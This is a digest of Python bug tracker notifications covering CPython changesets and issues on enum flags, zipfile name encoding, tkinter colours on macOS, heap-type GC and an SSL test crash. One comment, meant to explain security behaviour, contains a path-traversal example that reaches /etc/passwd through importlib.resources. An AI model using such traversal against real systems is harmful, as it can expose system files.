Message-ID: <1622069474.45.0.269720261893.issue42161@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 3e7ee02327db13e4337374597cdc4458ecb9e3ad by Victor Stinner in branch 'main': bpo-42161: mathmodule.c: move _PyLong_GetOne() loop invariant (GH-26391) https://github.com/python/cpython/commit/3e7ee02327db13e4337374597cdc4458ecb9e3ad ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:51:16 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 22:51:16 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> Message-ID: <1622069476.43.0.273514269506.issue42161@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24986 pull_request: https://github.com/python/cpython/pull/26393 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:52:52 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:52:52 +0000 Subject: [issue41736] test_site: test_s_option() failed on AMD64 Windows8.1 Refleaks 3.7 In-Reply-To: <1599488018.49.0.898281203833.issue41736@roundup.psfhosted.org> Message-ID: <1622069572.5.0.695907016322.issue41736@roundup.psfhosted.org> STINNER Victor added the comment: I didn't see this issue recently, I close the issue (again!). ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:54:42 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:54:42 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> Message-ID: <1622069682.06.0.0224672661334.issue42161@roundup.psfhosted.org> STINNER Victor added the comment: Raymond: "Can you fix all the other cases where this is used in inner-loop; otherwise, it is undoing everyone else's optimizations and fast paths." Done, thanks for the report. ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:58:23 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 26 May 2021 22:58:23 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622069903.86.0.651947386616.issue43988@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24987 pull_request: https://github.com/python/cpython/pull/26394 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 19:10:44 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 23:10:44 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. In-Reply-To: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> Message-ID: <1622070644.7.0.389134650399.issue44241@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 19:13:24 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 23:13:24 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> Message-ID: <1622070804.96.0.439000667589.issue42161@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 4115996342278de7c2a1b59ac348322e7a4e9072 by Miss Islington (bot) in branch '3.10': bpo-42161: mathmodule.c: move _PyLong_GetOne() loop invariant (GH-26391) (GH-26393) https://github.com/python/cpython/commit/4115996342278de7c2a1b59ac348322e7a4e9072 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 19:58:43 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 23:58:43 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622073523.11.0.480654725149.issue44242@roundup.psfhosted.org> John Belmonte added the comment: > Either [...] we should lose the creation time check (not apply the transform), or we should still have the check (raise an error on invalid bits) which would still leave us in this situation. That is only one option (which undesirable consequences are already identified). We should consider a few options carefully. >From the start, if default Enum declarations are going to be subject to new runtime exceptions, it's certain that they'll be hit in some existing code. Anything other than the default being legacy-compatible, or defining the new stuff as Enum2, or deferring all the changes to Python 4, is going to lead to bug reports and disgruntled users. I don't think that suggests we should remove the runtime exceptions-- they are what supports the new API and implementation. Perhaps KEEP should be renamed to LEGACY, that should be the default, and there should be guidance on how to get the KEEP use cases you've found migrated to one of the other modes. (And changing the default could be considered for Python 4.) >> But the [CONFORM] class members themselves should not have that transform applied, and raise >> an error on invalid bits. > > But I'm not sure I understand that. It's an important point that should be fixed in the code. CONFORM should be regarding transforming external values into valid member instances. The enum author's declaration itself should be coherent and not rely on such transforms. Users will be surprised when they define a "FOO = 0xFF" and they read the value back as 0x1F or something. The runtime exception lets the enum author know about the issue in the declaration, and normalize it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 20:44:48 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 27 May 2021 00:44:48 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622076288.34.0.013032499778.issue37596@roundup.psfhosted.org> Inada Naoki added the comment: > If that's the case, then the argument Raymond provided against preserving order does not seem that relevant, as we would only need to preserve the order in the creation operation. Note that PYC files are marshalled from code objects including frozenset instance, not from AST. When marshaling, frozenset instance is created already and its creation order is lost . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 20:59:36 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 00:59:36 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. In-Reply-To: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> Message-ID: <1622077176.61.0.996636513513.issue44241@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24988 pull_request: https://github.com/python/cpython/pull/26395 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:04:12 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 01:04:12 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1622077452.17.0.500455172786.issue37903@roundup.psfhosted.org> Terry J. Reedy added the comment: I will link to an IDLE shell followup issue later. Discussions about other IDLE issues should be on pre-existing issues (use the tracker search with Components: IDLE), new issues, or without an issue, on the idle-dev list. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:07:47 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 01:07:47 +0000 Subject: [issue43063] zipfile.Path / importlib.resources raises KeyError if a file wasn't found In-Reply-To: <1611939371.43.0.787270932991.issue43063@roundup.psfhosted.org> Message-ID: <1622077667.39.0.472145114145.issue43063@roundup.psfhosted.org> Jason R. Coombs added the comment: If this issue affects you, please use the `zipp` backport. I realize there are some use-cases that aren't readily amenable to relying on the backport. Please report any such use-case here as they may provide a justification for back-porting the change. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:12:30 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 01:12:30 +0000 Subject: [issue41855] FastPath.zip_children can give duplicate results on Python 3.8 In-Reply-To: <1600979447.4.0.878308868671.issue41855@roundup.psfhosted.org> Message-ID: <1622077950.52.0.0176341147973.issue41855@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:21:42 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 01:21:42 +0000 Subject: [issue43413] tuple subclasses allow arbitrary kwargs In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org> Message-ID: <1622078502.19.0.897351791226.issue43413@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- title: tuple subclasses allow kwargs -> tuple subclasses allow arbitrary kwargs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:22:37 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 01:22:37 +0000 Subject: [issue44241] Sync importlib_metadata enhancements through 4.1. In-Reply-To: <1622049241.45.0.325287576168.issue44241@roundup.psfhosted.org> Message-ID: <1622078557.48.0.804883474352.issue44241@roundup.psfhosted.org> miss-islington added the comment: New changeset 5d569ef9dd57cf03473ef0c04f0e58b6c5cb5d04 by Miss Islington (bot) in branch '3.10': [3.10] bpo-44241: Incorporate changes from importlib_metadata 4.1. (GH-26382) (GH-26395) https://github.com/python/cpython/commit/5d569ef9dd57cf03473ef0c04f0e58b6c5cb5d04 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:45:36 2021 From: report at bugs.python.org (Daniel Hillier) Date: Thu, 27 May 2021 01:45:36 +0000 Subject: [issue40172] ZipInfo corrupts file names in some old zip archives In-Reply-To: <1585925740.74.0.493426565247.issue40172@roundup.psfhosted.org> Message-ID: <1622079936.22.0.965645884092.issue40172@roundup.psfhosted.org> Daniel Hillier added the comment: Looking into this more and it appears that while Appendix D of https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT says "If general purpose bit 11 is unset, the file name and comment SHOULD conform to the original ZIP character encoding" where the original encoding is IBM 437 (cp437), this is not always followed. This isn't too surprising as cp437 doesn't have every character for every language! In particular, some archive programs on windows will use the user's locale code page. https://superuser.com/questions/1321371/proper-encoding-for-file-names-in-zip-archives-created-in-windows-and-unpacked-i A UTF filename can be stored in the extra field 0x7075 in addition to a filename encoded in an arbitrary code page stored in the header's filename section. There is a open issue to add handling these fields (for reading) to zipfile: https://bugs.python.org/issue41928 and that issue may be related to this one https://bugs.python.org/issue40407 For this issue, with regards to encoding, I prefer the current situation where general purpose bit 11 for UTF is preferentially used because it doesn't change the behaviour compared to previous Python versions and it reduces file size as the filename isn't repeated in the extra field. For compatibility with other archive programs that don't support the general purpose bit 11, I suggest we add an additional mechanism to allow the code page for the path name (and comment) to be set and use the 0x7075 extra field to store the UTF name in those cases where the filename can't be encoded in ascii (and 0x6075 to store the utf comment where it can't be encoded in ascii) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:56:02 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 01:56:02 +0000 Subject: [issue44243] tkinter button colors on Mac Message-ID: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> New submission from Terry J. Reedy : Mac Mohave, 3.9 with 8.6.8 and 3.10 with 8.6.11 import tkinter as tk r = tk.Tk() b = tk.Button(r, text='START', fg='white', bg='red') # Or '#f00'. b.pack() r.mainloop() On Windows, white on red button, as expected. On Mac, all white until one presses and holds mouse, and then blue background. Default black on white works OK. This may be new since several years ago, when 2 of us worked on turtle demo, which has 3 such buttons. They all now misbehave (reported by Raymond). If someone tested on Mac, it must have worked then. I retried with the b= line replaced with s = ttk.Style() s.configure('Td.TButton', foreground='white', background='red') b = ttk.Button(r, text='START', style='Td.TButton') with the same result. (Mark, did I get this right?) ---------- components: Tkinter, macOS messages: 394506 nosy: markroseman, ned.deily, rhettinger, ronaldoussoren, taleinat, terry.reedy priority: normal severity: normal status: open title: tkinter button colors on Mac versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:56:33 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 01:56:33 +0000 Subject: [issue36128] ResourceReader for FileLoader inconsistently handles path separators In-Reply-To: <1551215100.55.0.236644911032.issue36128@roundup.psfhosted.org> Message-ID: <1622080593.74.0.261431092326.issue36128@roundup.psfhosted.org> Jason R. Coombs added the comment: The preferred API as implemented in Python 3.9 and importlib_resources 1.1 is the `files()` API. This simpler API returns a Traversable object, a pathlib-like handle to the contents of a package. This approach side-steps the issues described above. In particular, `is_resource` no longer has a purpose. Path traversal is handled naturally through `Traversable.join_path`. Resources in subdirectories are now supported. Parent objects ('..') are allowed, but only incidentally and allowed in the same way as they're allowed for any Python code. That is, one can call `files('multiprocessing').joinpath('../../../../etc/passwd')`, but that provides no advantage over `pathlib.Path('/etc/passwd')`. I believe this new API addresses the concerns presented. Please open a new issue (here or in github.com/python/importlib_resources) if there are further concerns needing attention. ---------- nosy: +jaraco resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 21:56:25 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 01:56:25 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622080585.67.0.235731113962.issue44243@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 22:06:39 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 02:06:39 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622081199.32.0.937255263387.issue41611@roundup.psfhosted.org> Terry J. Reedy added the comment: With 3.10.0b1 on Mac I am getting attribute completion freezes. I had to turn them off. I am tempted to disable completions until there is a Mac IDLE developer to dig into issues like this. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 22:34:44 2021 From: report at bugs.python.org (Eric Snow) Date: Thu, 27 May 2021 02:34:44 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1622082884.07.0.604800146887.issue43693@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +24989 pull_request: https://github.com/python/cpython/pull/26396 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 00:37:34 2021 From: report at bugs.python.org (Nihar Ranjan Roy) Date: Thu, 27 May 2021 04:37:34 +0000 Subject: [issue44244] protected members accessible in other modules Message-ID: <1622090254.23.0.17376966329.issue44244@roundup.psfhosted.org> New submission from Nihar Ranjan Roy : As per literature protected members are not accessible in other modules but I found that there is no difference between public and protected members in python 3.9.0 ---------- files: Screenshot (108).png messages: 394509 nosy: niharranjanroy priority: normal severity: normal status: open title: protected members accessible in other modules type: behavior versions: Python 3.9 Added file: https://bugs.python.org/file50067/Screenshot (108).png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 01:04:00 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Thu, 27 May 2021 05:04:00 +0000 Subject: [issue44244] protected members accessible in other modules In-Reply-To: <1622090254.23.0.17376966329.issue44244@roundup.psfhosted.org> Message-ID: <1622091840.82.0.7759959804.issue44244@roundup.psfhosted.org> Dennis Sweeney added the comment: Being in different modules is irrelevant. Attribute names that start with double underscores and don't end with double underscores are "mangled" by the compiler to include the class name as well: >>> class MyClass: ... def __init__(self): ... self.__data = 17 ... ... >>> x = MyClass() >>> x._MyClass__data 17 See https://docs.python.org/3/tutorial/classes.html?highlight=mangle#private-variables I don't think there's a bug here. ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 01:11:17 2021 From: report at bugs.python.org (Nihar Ranjan Roy) Date: Thu, 27 May 2021 05:11:17 +0000 Subject: [issue44244] protected members accessible in other modules In-Reply-To: <1622091840.82.0.7759959804.issue44244@roundup.psfhosted.org> Message-ID: Nihar Ranjan Roy added the comment: Dear Dennis Thanx for the prompt reply. I am talking about protected members (those starting with single underscore). Take it other way, What is the difference between public and private membership in python? With Regards Nihar Ranjan Roy Mobile: +91 9810 977 908 ___________________ On Thu, May 27, 2021 at 10:34 AM Dennis Sweeney wrote: > > Dennis Sweeney added the comment: > > Being in different modules is irrelevant. Attribute names that start with > double underscores and don't end with double underscores are "mangled" by > the compiler to include the class name as well: > > >>> class MyClass: > ... def __init__(self): > ... self.__data = 17 > ... > ... > >>> x = MyClass() > >>> x._MyClass__data > 17 > > > See > https://docs.python.org/3/tutorial/classes.html?highlight=mangle#private-variables > > I don't think there's a bug here. > > ---------- > nosy: +Dennis Sweeney > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 01:17:19 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Thu, 27 May 2021 05:17:19 +0000 Subject: [issue44244] protected members accessible in other modules In-Reply-To: <1622090254.23.0.17376966329.issue44244@roundup.psfhosted.org> Message-ID: <1622092639.16.0.908994957051.issue44244@roundup.psfhosted.org> Dennis Sweeney added the comment: An attribute name starting with a single underscore is just a warning to users of your code that "this attribute is supposed to be private, access it at your own risk." Everything below is from https://docs.python.org/3/tutorial/classes.html?highlight=mangle#private-variables : ?Private? instance variables that cannot be accessed except from inside an object don?t exist in Python. However, there is a convention that is followed by most Python code: a name prefixed with an underscore (e.g. _spam) should be treated as a non-public part of the API (whether it is a function, a method or a data member). It should be considered an implementation detail and subject to change without notice. Since there is a valid use-case for class-private members (namely to avoid name clashes of names with names defined by subclasses), there is limited support for such a mechanism, called name mangling. Any identifier of the form __spam (at least two leading underscores, at most one trailing underscore) is textually replaced with _classname__spam, where classname is the current class name with leading underscore(s) stripped. This mangling is done without regard to the syntactic position of the identifier, as long as it occurs within the definition of a class. Name mangling is helpful for letting subclasses override methods without breaking intraclass method calls. For example: ... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 01:32:08 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 May 2021 05:32:08 +0000 Subject: [issue44244] protected members accessible in other modules In-Reply-To: <1622090254.23.0.17376966329.issue44244@roundup.psfhosted.org> Message-ID: <1622093528.41.0.553599089507.issue44244@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 01:48:54 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 05:48:54 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622094534.76.0.0879049249013.issue44243@roundup.psfhosted.org> Tal Einat added the comment: FWIW this also behaves as expected on Ubuntu 20.04 with both Python 3.8 and 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 02:33:17 2021 From: report at bugs.python.org (Nihar Ranjan Roy) Date: Thu, 27 May 2021 06:33:17 +0000 Subject: [issue44244] protected members accessible in other modules In-Reply-To: <1622092639.16.0.908994957051.issue44244@roundup.psfhosted.org> Message-ID: Nihar Ranjan Roy added the comment: Thank you dennis. This is helpful. With Regards Nihar Ranjan Roy Mobile: +91 9810 977 908 ___________________ On Thu, May 27, 2021 at 10:47 AM Dennis Sweeney wrote: > > Dennis Sweeney added the comment: > > An attribute name starting with a single underscore is just a warning to > users of your code that "this attribute is supposed to be private, access > it at your own risk." > > Everything below is from > https://docs.python.org/3/tutorial/classes.html?highlight=mangle#private-variables > : > > ?Private? instance variables that cannot be accessed except from inside an > object don?t exist in Python. However, there is a convention that is > followed by most Python code: a name prefixed with an underscore (e.g. > _spam) should be treated as a non-public part of the API (whether it is a > function, a method or a data member). It should be considered an > implementation detail and subject to change without notice. > > Since there is a valid use-case for class-private members (namely to avoid > name clashes of names with names defined by subclasses), there is limited > support for such a mechanism, called name mangling. Any identifier of the > form __spam (at least two leading underscores, at most one trailing > underscore) is textually replaced with _classname__spam, where classname is > the current class name with leading underscore(s) stripped. This mangling > is done without regard to the syntactic position of the identifier, as long > as it occurs within the definition of a class. > > Name mangling is helpful for letting subclasses override methods without > breaking intraclass method calls. For example: > > ... > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 02:44:01 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 06:44:01 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622097841.44.0.100280251736.issue43988@roundup.psfhosted.org> STINNER Victor added the comment: New changeset fbff5387c3e1f3904420fa5a27738c6c5881305b by Erlend Egeberg Aasland in branch 'main': bpo-43988: Use check disallow instantiation helper (GH-26392) https://github.com/python/cpython/commit/fbff5387c3e1f3904420fa5a27738c6c5881305b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 02:47:13 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 06:47:13 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1622098033.84.0.233524199517.issue37596@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 03:29:09 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 07:29:09 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622100549.51.0.638266408644.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24990 pull_request: https://github.com/python/cpython/pull/26397 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 03:29:15 2021 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 27 May 2021 07:29:15 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622100555.18.0.304859913191.issue42972@roundup.psfhosted.org> Nick Coghlan added the comment: New changeset 59af59c2dfa52dcd5605185263f266a49ced934c by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully support GC for pyexpat, unicodedata, and dbm/gdbm heap types (GH-26376) https://github.com/python/cpython/commit/59af59c2dfa52dcd5605185263f266a49ced934c ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 03:48:28 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 07:48:28 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622101708.37.0.339187376407.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24991 pull_request: https://github.com/python/cpython/pull/26398 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 03:48:35 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 27 May 2021 07:48:35 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622101715.81.0.917859427473.issue42972@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 6ef5ba391d700bde7ec3ffd5fb7132a30dd309c4 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully support GC for hashlib heap types (GH-26374) https://github.com/python/cpython/commit/6ef5ba391d700bde7ec3ffd5fb7132a30dd309c4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 03:50:13 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 27 May 2021 07:50:13 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622101813.16.0.0527885217267.issue42972@roundup.psfhosted.org> Christian Heimes added the comment: New changeset dcb8786a9848516e823e090bb36079678913d8d3 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully implement GC protocol for ssl heap types (GH-26370) https://github.com/python/cpython/commit/dcb8786a9848516e823e090bb36079678913d8d3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 03:50:18 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 07:50:18 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622101818.59.0.298833806753.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24992 pull_request: https://github.com/python/cpython/pull/26399 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 04:11:01 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 08:11:01 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622103061.82.0.953146894398.issue42972@roundup.psfhosted.org> miss-islington added the comment: New changeset 4431922f92747f77e3eb790c6d1881232e1b5e8c by Miss Islington (bot) in branch '3.10': [3.10] bpo-42972: Fully support GC for hashlib heap types (GH-26374) (GH-26398) https://github.com/python/cpython/commit/4431922f92747f77e3eb790c6d1881232e1b5e8c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 04:20:03 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 27 May 2021 08:20:03 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622103603.34.0.149460070927.issue42972@roundup.psfhosted.org> Christian Heimes added the comment: GH-26399 is failing with an access violation on Windows. It's failing in one of the flaky tests. I wonder if the segfault is related to flaky tests somehow... https://dev.azure.com/Python/cpython/_build/results?buildId=81570&view=logs&j=c83831cd-3752-5cc7-2f01-8276919eb334 test_pha_optional (test.test_ssl.TestPostHandshakeAuth) ... ok test_pha_optional_nocert (test.test_ssl.TestPostHandshakeAuth) ... ok test_pha_required (test.test_ssl.TestPostHandshakeAuth) ... ok Windows fatal exception: access violation Current thread 0x000009e0 (most recent call first): File "D:\a\1\s\lib\linecache.py", line 63 in checkcache File "D:\a\1\s\lib\traceback.py", line 375 in extract File "D:\a\1\s\lib\traceback.py", line 494 in __init__ File "D:\a\1\s\lib\traceback.py", line 132 in format_exception File "D:\a\1\s\lib\test\test_ssl.py", line 262 in handle_error File "D:\a\1\s\lib\test\test_ssl.py", line 2530 in run File "D:\a\1\s\lib\threading.py", line 1006 in _bootstrap_inner File "D:\a\1\s\lib\threading.py", line 963 in _bootstrap Thread 0x000003c4 (most recent call first): File "D:\a\1\s\lib\threading.py", line 1102 in _wait_for_tstate_lock File "D:\a\1\s\lib\threading.py", line 1086 in join File "D:\a\1\s\lib\test\test_ssl.py", line 2604 in run File "D:\a\1\s\lib\threading.py", line 1006 in _bootstrap_inner File "D:\a\1\s\lib\threading.py", line 963 in _bootstrap Thread 0x00001700 (most recent call first): File "D:\a\1\s\lib\ssl.py", line 1131 in read File "D:\a\1\s\lib\ssl.py", line 1256 in recv File "D:\a\1\s\lib\test\test_ssl.py", line 4471 in test_pha_required_nocert File "D:\a\1\s\lib\unittest\case.py", line 549 in _callTestMethod File "D:\a\1\s\lib\unittest\case.py", line 592 in run File "D:\a\1\s\lib\unittest\case.py", line 652 in __call__ File "D:\a\1\s\lib\unittest\suite.py", line 122 in run File "D:\a\1\s\lib\unittest\suite.py", line 84 in __call__ File "D:\a\1\s\lib\unittest\suite.py", line 122 in run File "D:\a\1\s\lib\unittest\suite.py", line 84 in __call__ File "D:\a\1\s\lib\unittest\runner.py", line 176 in run File "D:\a\1\s\lib\test\support\__init__.py", line 959 in _run_suite File "D:\a\1\s\lib\test\support\__init__.py", line 1082 in run_unittest File "D:\a\1\s\lib\test\test_ssl.py", line 5007 in test_main File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 246 in _runtest_inner2 File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 282 in _runtest_inner File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 154 in _runtest File "D:\a\1\s\lib\test\__main__.py", line 2 in File "D:\a\1\s\lib\runpy.py", line 86 in _run_code File "D:\a\1\s\lib\runpy.py", line 196 in _run_module_as_main ##[error]Cmd.exe exited with code '-1073741819'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 04:30:54 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 08:30:54 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622104254.84.0.856002263472.issue44243@roundup.psfhosted.org> Tal Einat added the comment: Confirmed on macOS. This bugs also affects the underlying Tcl/Tk, confirmed with 8.6.11. To reproduce: $ wish % button .b -text START -bg red -fg white .b % pack .b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 05:12:22 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 27 May 2021 09:12:22 +0000 Subject: [issue44243] tkinter button colors on Mac 